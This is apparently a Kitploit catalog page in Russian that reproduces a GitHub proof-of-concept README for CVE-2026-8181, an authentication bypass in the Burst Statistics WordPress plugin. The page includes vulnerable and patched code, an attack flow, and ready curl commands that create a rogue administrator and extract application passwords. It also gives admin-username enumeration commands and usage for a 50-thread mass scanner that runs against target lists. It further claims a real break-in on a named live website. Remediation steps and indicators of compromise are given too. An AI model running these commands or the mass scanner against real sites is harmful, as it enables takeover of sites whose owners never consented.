Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Неаутентифицированный обход аутентификации до захвата учетной записи администратора | Доказательство концепции | Kitploit
Инструменты/GitHubGitHub/zycoder0day/cve-2026-8181
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеАутентификацияОбучение и Образование
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Неаутентифицированный обход аутентификации до захвата учетной записи администратора | Доказательство концепции

Репозиторий
5723 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8181 — Обход аутентификации Burst Statistics для захвата учетной записи администратора


📋 Информация об уязвимости

ПунктПодробности
CVE IDCVE-2026-8181
ПлагинBurst Statistics – WordPress-аналитика, уважающая конфиденциальность
Затронутые версии3.4.0 – 3.4.1.1
Исправленная версия3.4.2
Оценка CVSS9.8 (Critical)
ТипCWE-287: Improper Authentication
Вектор атакиNetwork / Remote / Unauthenticated
Активные установки~200,000+
ОбнаружилиPRISM, Wordfence Threat Intelligence
Дата публикации8 мая 2026

🎯 Краткое описание

Критическая уязвимость обхода аутентификации в плагине Burst Statistics для WordPress версий с 3.4.0 по 3.4.1.1 позволяет неавторизованному злоумышленнику получить полный доступ администратора WordPress, зная только имя пользователя администратора. Последствия — полный захват учетной записи администратора, включая создание новых учетных записей, изменение контента и установку вредоносных плагинов.


🔬 Технический анализ

Корневая причина

Уязвимость находится в методе is_mainwp_authenticated() в файле includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Основная ошибка: wp_authenticate_application_password(null, $username, $password) возвращает null (не WP_Error), когда Application Passwords недоступны. Это происходит на:

  • Сайтах по HTTP (не HTTPS), где wp_is_application_passwords_available() возвращает false
  • Сайтах, где is_ssl() возвращает false

Поскольку is_wp_error(null) = false, код продолжает выполнение до get_user_by('login', $username), который аутентифицирует только по имени пользователя без какой-либо проверки пароля.

Раннее выполнение

Метод has_admin_access() вызывается при хуке plugins_loaded (приоритет 9) в class-burst.php на строке 118:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Этот хук выполняется ДО обработки маршрутов REST API, поэтому wp_set_current_user() предоставляет права администратора для ВСЕГО запроса — а не только для конечных точек Burst.

Схема атаки

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 Доказательство концепции

Предварительные требования

  • Цель работает по HTTP (не HTTPS, или SSL не обнаружен правильно)
  • Плагин Burst Statistics версии 3.4.0 – 3.4.1.1 установлен и активен
  • Известно имя пользователя администратора (можно перечислить)

Установка

root@kitploit:~
pip3 install requests

Использование — одиночная цель

root@kitploit:~
# Базовое сканирование
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Создать новую учетную запись администратора
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# С пользовательским именем
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Использование — несколько целей (массовый сканер)

root@kitploit:~
python3 poc_CVE-2026-8181.py

Интерактивный режим:

  1. Введите файл со списком целей (.txt, один домен на строку)
  2. Установите количество потоков (по умолчанию: 50)
  3. Установите учетные данные для новой учетной записи
  4. Запустите сканирование

Формат targets.txt:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

Минимальный PoC (curl)

root@kitploit:~
# Шаг 1: Проверка обхода аутентификации
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Шаг 2: Создать новую учетную запись администратора
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Шаг 3: Получить пароль приложения (постоянные учетные данные)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Перечисление имени пользователя администратора

root@kitploit:~
# Метод 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Метод 2: Запасной маршрут
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Метод 3: Перечисление авторов
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Проверка результатов

Тестирование проводилось на WordPress 6.9 с Burst Statistics 3.4.1.1 (localhost):

ТестРезультатДоказательство
Доступ к /wp/v2/users/me без аутентификацииНЕУДАЧАrest_not_logged_in
Доступ с заголовками обходаУСПЕШНОПрофиль администратора + email + роли
Создание новой учетной записи администратораУСПЕШНОUser ID 2, роль: administrator
Чтение настроек WordPressУСПЕШНОНазвание сайта, email администратора, URL
Получение пароля приложенияУСПЕШНОТокен Base64 admin:password
Список установленных плагиновУСПЕШНОПолный список с версиями

Проверка на живом целевом сайте

ЦельРезультат
ausdermitte-binz.deУСПЕШНО ВЗЛОМАН — Burst 3.4.1.1, обход через binzwpadmin, создана учетная запись xenon1337 (ID:30)

🔧 Анализ исправления (v3.4.2)

Исправление в версии 3.4.2 устраняет несколько проблем:

  1. Правильная проверка типа возвращаемого значения:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. Принудительная доступность паролей приложений:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. Требование CSRF nonce для запросов, аутентифицированных через cookie
  2. Защита от повторного использования nonce с однократным применением через add_option()
  3. Удален устаревший формат подписи, не привязанный к имени пользователя

🛡️ Устранение

Немедленные действия

  1. Обновите Burst Statistics до версии 3.4.2 или новее
  2. Проверьте учетные записи пользователей — найдите неизвестные учетные записи администратора
  3. Отзовите все пароли приложений (wp_application_passwords в метаданных пользователя)
  4. Проверьте email администратора WordPress и другие настройки
  5. Проверьте неизвестные плагины/темы

Обнаружение индикаторов компрометации

  • Поищите в логах доступа запросы с заголовком X-BURSTMAINWP: 1 с внешних IP
  • Мониторьте таблицу wp_users на наличие новых учетных записей администратора
  • Проверьте wp_options на наличие transient burst_mainwp_app_token_*
  • Просмотрите пароли приложений в профилях пользователей

📁 Доступные файлы

ФайлОписание
exploit_CVE-2026-8181.pyPoC эксплойт для одиночной цели
poc_CVE-2026-8181.pyМассовый сканер для нескольких целей с многопоточностью
README.mdДанная документация

⚠️ Отказ от ответственности

Данный инструмент и документация предназначены только для законного тестирования безопасности с явного разрешения. Использование без авторизации против систем, которые вам не принадлежат или без письменного разрешения, является незаконным. Авторы не несут ответственности за неправомерное использование.


📚 Ссылки

  • Wordfence Advisory
  • Уязвимый исходный код
  • Репозиторий плагинов WordPress
  • Анализ WP-Safety

Скачать инструмент